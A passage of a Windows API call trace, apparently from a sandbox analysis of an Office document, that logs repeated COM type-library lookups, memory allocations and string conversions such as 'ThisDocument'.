ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd7, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd8, ppFuncDesc=0x127448, pDummy=0x140 | out: ppFuncDesc=0x127448, pDummy=0x140) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd9, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xda, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdb, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdc, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdd, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xde, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdf, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe0, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe1, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe2, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe3, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe4, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe5, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe6, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe7, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe8, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe9, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xea, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xeb, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xec, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xed, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xee, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.534] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xef, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.534] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.535] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf0, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.535] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.535] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf1, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.535] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.535] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf2, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.535] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.535] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf3, ppFuncDesc=0x127448, pDummy=0x140 | out: ppFuncDesc=0x127448, pDummy=0x140) returned 0x0 [0053.535] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.535] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf4, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.535] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.535] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf5, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.535] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.535] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf6, ppFuncDesc=0x127448, pDummy=0x140 | out: ppFuncDesc=0x127448, pDummy=0x140) returned 0x0 [0053.535] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.535] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf7, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.535] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.535] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf8, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.535] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.535] ITypeInfo2:GetCustData (in: This=0x68568f0, GUID=0x7fee4b3d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x127478 | out: pVarVal=0x127478*(varType=0x0, wReserved1=0x0, wReserved2=0x1b8, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0053.535] IUnknown:Release (This=0x68568f0) returned 0x2 [0053.535] ITypeInfo:RemoteGetDocumentation (in: This=0x68568f0, memid=-1, refPtrFlags=0x127470, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0053.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x127380, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0053.535] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0053.536] IMalloc:Alloc (This=0x7feffc15380, cb=0xc0) returned 0x69a5060 [0053.536] IMalloc:GetSize (This=0x7feffc15380, pv=0x69a5060) returned 0xc0 [0053.544] ITypeInfo:RemoteGetTypeAttr (in: This=0x68569a0, ppTypeAttr=0x1276a0, pDummy=0x6a883d0 | out: ppTypeAttr=0x1276a0, pDummy=0x6a883d0*=0x7) returned 0x0 [0053.544] ITypeInfo:LocalReleaseTypeAttr (This=0x68569a0) returned 0x0 [0053.544] ITypeInfo:GetRefTypeOfImplType (in: This=0x68569a0, index=0x0, pRefType=0x127698 | out: pRefType=0x127698*=0x3) returned 0x0 [0053.544] ITypeInfo:GetRefTypeInfo (in: This=0x68569a0, hreftype=0x3, ppTInfo=0x1276a8 | out: ppTInfo=0x1276a8*=0x69bee28) returned 0x0 [0053.544] IUnknown:Release (This=0x68569a0) returned 0x1 [0053.544] ITypeInfo:RemoteGetTypeAttr (in: This=0x69bee28, ppTypeAttr=0x1276a0, pDummy=0x127678 | out: ppTypeAttr=0x1276a0, pDummy=0x127678*=0x3) returned 0x0 [0053.544] ITypeInfo:LocalReleaseTypeAttr (This=0x69bee28) returned 0x0 [0053.544] ITypeInfo:GetRefTypeOfImplType (in: This=0x69bee28, index=0x0, pRefType=0x127698 | out: pRefType=0x127698*=0x182) returned 0x0 [0053.544] ITypeInfo:GetRefTypeInfo (in: This=0x69bee28, hreftype=0x182, ppTInfo=0x1276a8 | out: ppTInfo=0x1276a8*=0x69bee80) returned 0x0 [0053.544] IUnknown:Release (This=0x69bee28) returned 0x1 [0053.544] ITypeInfo:RemoteGetTypeAttr (in: This=0x69bee80, ppTypeAttr=0x1276a0, pDummy=0x127680 | out: ppTypeAttr=0x1276a0, pDummy=0x127680*=0x1276b0) returned 0x0 [0053.544] ITypeInfo:LocalReleaseTypeAttr (This=0x69bee80) returned 0x0 [0053.544] IUnknown:Release (This=0x69bee80) returned 0x1 [0053.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="015e132abf", cchWideChar=11, lpMultiByteStr=0x127690, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="015e132abf", lpUsedDefaultChar=0x0) returned 11 [0053.544] GetLocalTime (in: lpSystemTime=0x127778 | out: lpSystemTime=0x127778*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x2, wDay=0x8, wHour=0xc, wMinute=0x28, wSecond=0x1f, wMilliseconds=0x1ed)) [0053.544] _ultow_s (in: _Value=0x5e132abf, _Buffer=0x6a0863c, _BufferCount=0x9, _Radix=16 | out: _Buffer="5e132abf") returned 0x0 [0053.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="055e132abf", cchWideChar=11, lpMultiByteStr=0x1276d0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="055e132abf", lpUsedDefaultChar=0x0) returned 11 [0053.545] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x6a80270 [0053.545] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x69ae1d0 [0053.545] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x69ae350 [0053.545] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x6a99270 [0053.545] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x6a994c0 [0053.545] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0x645f110 [0053.545] IMalloc:Free (This=0x7feffc15380, pv=0x645f110) [0053.548] IMalloc:Alloc (This=0x7feffc15380, cb=0x60) returned 0x69a0c70 [0053.548] IMalloc:GetSize (This=0x7feffc15380, pv=0x69a0c70) returned 0x60 [0053.548] IMalloc:Free (This=0x7feffc15380, pv=0x69a0c70) [0053.548] IMalloc:Realloc (This=0x7feffc15380, pv=0x66d4900, cb=0x40) returned 0x69c3e70 [0053.548] IMalloc:Realloc (This=0x7feffc15380, pv=0x66d48d0, cb=0x50) returned 0x69d7070 [0053.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x127510, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0053.548] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0053.548] IUnknown:Release (This=0x68568f0) returned 0x1 [0053.548] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b340f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x127218 | out: ppvObject=0x127218*=0x68568f0) returned 0x0 [0053.548] ITypeInfo2:GetCustData (in: This=0x68568f0, GUID=0x7fee4b3d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x127228 | out: pVarVal=0x127228*(varType=0x0, wReserved1=0x12, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0053.548] IUnknown:Release (This=0x68568f0) returned 0x2 [0053.548] ITypeInfo:RemoteGetDocumentation (in: This=0x68568f0, memid=-1, refPtrFlags=0x127220, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x127240 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x127240*="") returned 0x0 [0053.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x127130, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0053.548] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0053.549] ITypeInfo:RemoteGetTypeAttr (in: This=0x68569a0, ppTypeAttr=0x127220, pDummy=0x0 | out: ppTypeAttr=0x127220, pDummy=0x0) returned 0x0 [0053.549] ITypeInfo:LocalReleaseTypeAttr (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x0, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x10, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x11, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x12, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x13, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x14, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.549] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x15, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.549] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x16, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x17, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x18, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x19, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1a, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1b, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1c, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1d, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1e, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1f, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x20, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x21, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x22, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x23, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x24, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x25, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x26, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x27, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x28, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] 